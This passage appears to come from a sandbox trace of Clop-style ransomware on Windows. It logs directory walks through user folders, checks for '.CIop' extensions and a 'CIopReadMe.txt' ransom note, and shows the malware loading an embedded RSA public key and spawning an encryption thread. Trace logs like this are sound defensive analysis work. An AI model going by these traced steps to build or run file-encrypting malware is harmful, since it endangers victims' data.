lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0138.426] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0138.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0138.426] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.426] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0138.426] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0138.426] lstrlenW (lpString=".CIop") returned 5 [0138.426] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.426] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.426] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.426] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0138.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0138.427] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.427] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0138.427] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0138.427] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.427] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.427] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.427] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.427] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0138.427] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0138.427] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0138.427] SetErrorMode (uMode=0x1) returned 0x1 [0138.427] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0138.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0138.427] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0138.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0138.427] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.427] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0138.427] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0138.427] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.427] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.427] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.427] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.427] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.427] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.427] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.427] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.427] lstrlenW (lpString="desktop.ini") returned 11 [0138.427] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.427] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0138.427] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0138.427] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0138.427] Sleep (dwMilliseconds=0xd) [0138.462] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0138.462] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0138.462] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0138.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0138.463] SetErrorMode (uMode=0x1) returned 0x1 [0138.463] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0138.463] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0138.463] CloseHandle (hObject=0x6c8) returned 1 [0138.463] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.463] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.463] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.463] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.463] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0138.463] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0138.463] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.463] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0138.464] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0138.464] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.464] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.464] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.464] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.464] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.464] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.464] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0138.464] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0138.464] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0138.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0138.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0138.464] SetErrorMode (uMode=0x1) returned 0x1 [0138.464] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0138.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0138.464] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0138.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0138.464] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0138.464] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0138.464] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0138.464] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.464] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.464] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.464] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.464] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.464] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.464] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0138.464] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0138.464] lstrlenW (lpString=".CIop") returned 5 [0138.464] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.464] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0138.464] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0138.465] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0138.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0138.465] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0f8 [0138.465] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0138.465] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0138.465] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.465] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.465] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.465] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.465] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.465] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0138.465] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0138.465] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.465] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.465] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.465] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.465] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0138.465] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0138.465] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0138.466] SetErrorMode (uMode=0x1) returned 0x1 [0138.466] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0138.466] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0138.466] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.466] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0138.466] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0138.466] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.466] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.466] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.466] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0138.466] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.466] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0138.466] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0138.466] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0138.466] SetErrorMode (uMode=0x1) returned 0x1 [0138.466] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0138.466] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0138.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0138.466] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0138.466] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0138.466] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0138.466] lstrlenW (lpString=".CIop") returned 5 [0138.467] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.467] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.467] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.467] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0138.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0138.467] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0138.467] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0138.467] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0138.467] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0138.467] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.467] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.467] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.467] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.467] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.467] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.467] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.467] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.467] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.467] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0138.467] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0138.467] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0138.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0138.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0138.467] SetErrorMode (uMode=0x1) returned 0x1 [0138.467] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0138.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote 